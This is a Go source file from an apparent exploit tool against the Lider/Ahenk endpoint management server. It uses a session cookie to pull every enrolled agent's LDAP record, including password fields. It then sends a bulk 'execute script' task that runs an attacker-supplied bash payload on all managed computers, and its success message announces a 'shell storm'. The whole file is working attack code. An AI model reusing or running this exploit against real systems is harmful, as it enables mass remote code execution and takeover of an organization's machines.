-
Notifications
You must be signed in to change notification settings - Fork 5
/
agent.go
180 lines (158 loc) · 5.72 KB
/
agent.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
package main
import (
"bytes"
"encoding/json"
"fmt"
"io/ioutil"
"math/rand"
"net/http"
"net/url"
"strings"
"time"
)
type Agents []struct {
DistinguishedName string `json:"distinguishedName"`
Ou interface{} `json:"ou"`
Cn string `json:"cn"`
UID string `json:"uid"`
Sn interface{} `json:"sn"`
O string `json:"o"`
UserPassword string `json:"userPassword"`
Parent interface{} `json:"parent"`
ParentName interface{} `json:"parentName"`
EntryUUID string `json:"entryUUID"`
HasSubordinates string `json:"hasSubordinates"`
Name string `json:"name"`
IconPath interface{} `json:"iconPath"`
ExpandedUser string `json:"expandedUser"`
Attributes struct {
Owner string `json:"owner"`
EntryUUID string `json:"entryUUID"`
StructuralObjectClass string `json:"structuralObjectClass"`
CreatorsName string `json:"creatorsName"`
UserPassword string `json:"userPassword"`
SubschemaSubentry string `json:"subschemaSubentry"`
Cn string `json:"cn"`
HasSubordinates string `json:"hasSubordinates"`
O string `json:"o"`
CreateTimestamp string `json:"createTimestamp"`
ModifyTimestamp string `json:"modifyTimestamp"`
UID string `json:"uid"`
EntryCSN string `json:"entryCSN"`
ModifiersName string `json:"modifiersName"`
LiderDeviceOSType string `json:"liderDeviceOSType"`
PwdChangedTime string `json:"pwdChangedTime"`
EntryDN string `json:"entryDN"`
} `json:"attributes"`
AttributesMultiValues struct {
Owner []string `json:"owner"`
EntryUUID []string `json:"entryUUID"`
StructuralObjectClass []string `json:"structuralObjectClass"`
CreatorsName []string `json:"creatorsName"`
UserPassword []string `json:"userPassword"`
SubschemaSubentry []string `json:"subschemaSubentry"`
ObjectClass []string `json:"objectClass"`
Cn []string `json:"cn"`
HasSubordinates []string `json:"hasSubordinates"`
O []string `json:"o"`
CreateTimestamp []string `json:"createTimestamp"`
ModifyTimestamp []string `json:"modifyTimestamp"`
UID []string `json:"uid"`
EntryCSN []string `json:"entryCSN"`
ModifiersName []string `json:"modifiersName"`
LiderDeviceOSType []string `json:"liderDeviceOSType"`
PwdChangedTime []string `json:"pwdChangedTime"`
EntryDN []string `json:"entryDN"`
} `json:"attributesMultiValues"`
Type string `json:"type"`
Priviliges interface{} `json:"priviliges"`
ChildEntries interface{} `json:"childEntries"`
TelephoneNumber interface{} `json:"telephoneNumber"`
HomePostalAddress interface{} `json:"homePostalAddress"`
CreateDateStr string `json:"createDateStr"`
Mail interface{} `json:"mail"`
SessionList interface{} `json:"sessionList"`
AgentListSize interface{} `json:"agentListSize"`
OnlineAgentListSize interface{} `json:"onlineAgentListSize"`
AgentList interface{} `json:"agentList"`
OnlineAgentList interface{} `json:"onlineAgentList"`
Online bool `json:"online"`
}
func (cu *ConsoleUser)NewAgents(agentLdapBaseDn string) *Agents{
print_info("Getting all the active computers")
client := http.Client{Jar: cu.cookieJar}
v := url.Values{}
v.Set("uid", agentLdapBaseDn)
v.Set("type", "ORGANIZATIONAL_UNIT")
v.Set("name", "Agents")
v.Set("parent", "")
resp, err := client.PostForm(fmt.Sprintf("http://%s:8080/lider/computer/getOuDetails", TARGET), v)
if err != nil {
panic_with_msg("Unable to login somehow. Dunno why", err)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
agents := new(Agents)
err2 := json.Unmarshal(body, agents)
if err2 != nil {
panic_with_msg("asdsad", err)
}
return agents
}
func (cu *ConsoleUser)TriggerPayloadonAllAgents(agents *Agents){
a, err := json.Marshal(agents)
if err != nil {
panic_with_msg("Cant marshel the agents", err)
}
rand.Seed(time.Now().UnixNano())
godsJson := fmt.Sprintf(`
{
"id": 62,
"name": "Betik Çalıştır",
"page": "execute-script",
"description": "İstemcide betik çalıştırır",
"commandId": "EXECUTE_SCRIPT",
"isMulti": true,
"plugin": {
"id": 7,
"name": "script",
"version": "1.0.0",
"description": "Betik çalıştır",
"active": true,
"deleted": false,
"machineOriented": true,
"userOriented": true,
"policyPlugin": true,
"taskPlugin": true,
"usesFileTransfer": false,
"xBased": false,
"createDate": "15/09/2021 18:49:09",
"modifyDate": null
},
"state": 1,
"dnType": "AHENK",
"dnList": [
"cn=pardus,ou=Agents,dc=liderahenk,dc=org"
],
"entryList": %s,
"cronExpression": null,
"parameterMap": {
"SCRIPT_FILE_ID": "%d",
"SCRIPT_TYPE": "bash",
"SCRIPT_CONTENTS": "%s",
"SCRIPT_PARAMS": ""
},
"activationDate": null
}
`, a, (rand.Intn(10000 - 100) + 1000), strings.Replace(NewPayload(), "\"", "\\\"", -1))
client := http.Client{Jar: cu.cookieJar}
resp, err := client.Post(fmt.Sprintf("http://%s:8080/lider/task/execute", TARGET), "application/json", bytes.NewBuffer([]byte(godsJson)))
if err != nil {
panic_with_msg("Unable to triggger the bulk task endpoint", err)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if strings.Contains(string(body), "Gonderildi"){
print_good("Hooold my beer ! Shell storm is coming.")
}
}